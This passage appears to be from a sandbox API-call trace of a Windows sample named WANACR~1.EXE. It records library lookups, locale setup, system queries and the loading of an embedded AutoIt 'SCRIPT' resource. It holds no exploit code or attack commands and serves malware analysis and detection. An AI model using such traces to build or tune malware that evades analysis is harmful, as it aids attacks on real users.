lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0049.976] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0049.977] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0049.978] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0049.978] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0049.978] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0049.978] GetCurrentThreadId () returned 0xb98 [0049.978] GetStartupInfoW (in: lpStartupInfo=0xd72f06f8f0 | out: lpStartupInfo=0xd72f06f8f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xd72f1f5510)) [0049.978] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.978] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.978] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.978] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0049.978] GetEnvironmentStringsW () returned 0xd72f1f64a0* [0049.978] FreeEnvironmentStringsW (penv=0xd72f1f64a0) returned 1 [0049.978] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0049.979] GetLastError () returned 0x0 [0049.979] SetLastError (dwErrCode=0x0) [0049.979] GetLastError () returned 0x0 [0049.979] SetLastError (dwErrCode=0x0) [0049.979] GetLastError () returned 0x0 [0049.979] SetLastError (dwErrCode=0x0) [0049.979] GetACP () returned 0x4e4 [0049.979] GetLastError () returned 0x0 [0049.979] SetLastError (dwErrCode=0x0) [0049.979] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.979] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xd72f06f860 | out: lpCPInfo=0xd72f06f860) returned 1 [0049.979] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xd72f06f300 | out: lpCPInfo=0xd72f06f300) returned 1 [0049.979] GetLastError () returned 0x0 [0049.979] SetLastError (dwErrCode=0x0) [0049.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd72f06f320, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd72f06f320, cbMultiByte=256, lpWideCharStr=0xd72f06f000, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ枂돯辵") returned 256 [0049.980] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ枂돯辵", cchSrc=256, lpCharType=0xd72f06f620 | out: lpCharType=0xd72f06f620) returned 1 [0049.980] GetLastError () returned 0x0 [0049.980] SetLastError (dwErrCode=0x0) [0049.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd72f06f320, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd72f06f320, cbMultiByte=256, lpWideCharStr=0xd72f06eff0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.980] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.980] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xd72f06ede0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xd72f06f420, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0049.980] GetLastError () returned 0x0 [0049.980] SetLastError (dwErrCode=0x0) [0049.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd72f06f320, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xd72f06f320, cbMultiByte=256, lpWideCharStr=0xd72f06eff0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0049.980] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.980] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xd72f06ede0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0049.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xd72f06f520, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0049.980] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0049.980] GetVersionExW (in: lpVersionInformation=0xd72f06f780*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xd72f06f780*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0049.981] GetCurrentProcess () returned 0xffffffffffffffff [0049.981] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xd72f06f8c8 | out: Wow64Process=0xd72f06f8c8) returned 1 [0049.981] GetSystemInfo (in: lpSystemInfo=0xd72f06f748 | out: lpSystemInfo=0xd72f06f748*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0049.981] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0049.981] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0049.981] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0049.981] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0049.981] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0049.981] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0049.982] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0049.982] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.982] OleInitialize (pvReserved=0x0) returned 0x0 [0050.008] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xd72f06f860 | out: phkResult=0xd72f06f860*=0x14c) returned 0x0 [0050.008] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xd72f06f8c0, lpcbData=0xd72f06f890*=0x8 | out: lpType=0x0, lpData=0xd72f06f8c0*=0x30, lpcbData=0xd72f06f890*=0x4) returned 0x0 [0050.008] RegCloseKey (hKey=0x14c) returned 0x0 [0050.010] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd72f04f830, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0050.011] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xd72f03f7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0050.011] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xd72f04f830, lpFilePart=0xd72f05f840 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0xd72f05f840*="WANACR~1.EXE") returned 0x26 [0050.011] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xd72f06f8f0 | out: phkResult=0xd72f06f8f0*=0x0) returned 0x2 [0050.012] IsThemeActive () returned 0x1 [0050.012] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xd72f06f920, fWinIni=0x0 | out: pvParam=0xd72f06f920) returned 1 [0050.012] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0050.012] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xd72f04f8f0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0050.012] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd72f03f750, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0050.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xd72f02f700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0050.013] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0050.013] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0050.013] Wow64DisableWow64FsRedirection (in: OldValue=0xd72f04f760 | out: OldValue=0xd72f04f760*=0x0) returned 0 [0050.013] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0050.013] GetCurrentPackageId () returned 0x3d54 [0050.014] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xd72f04f530, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0050.014] GetFileType (hFile=0x14c) returned 0x1 [0050.014] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0050.014] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0050.014] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0050.014] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0050.014] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0050.014] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xd72f04f828 | out: ppstm=0xd72f04f828*=0xd72f1f69f0) returned 0x0 [0050.019] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0050.019] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0050.019] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0050.019] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0050.019] ISequentialStream:RemoteWrite (in: This=0xd72f1f69f0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0050.020] IStream:RemoteSeek (in: This=0xd72f1f69f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0050.020] IStream:RemoteSeek (in: This=0xd72f1f69f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xd72f04f6f8 | out: plibNewPosition=0xd72f04f6f8) returned 0x0 [0050.020] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f200a30, cb=0x18, pcbRead=0xd72f04f640 | out: pv=0xd72f200a30*=0xa3, pcbRead=0xd72f04f640*=0x18) returned 0x0 [0050.020] IStream:RemoteSeek (in: This=0xd72f1f69f0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xd72f04f640 | out: plibNewPosition=0xd72f04f640) returned 0x0 [0050.020] ISequentialStream:RemoteRead (in: This=0xd72f1f69f0, pv=0xd72f04f6e0, cb=0x4, pcbRead=0xd72f04f640 | out: pv=0xd72f04f6e0*=0x45, pcbRead=0xd72f04f640*=0x4) returned 0x0 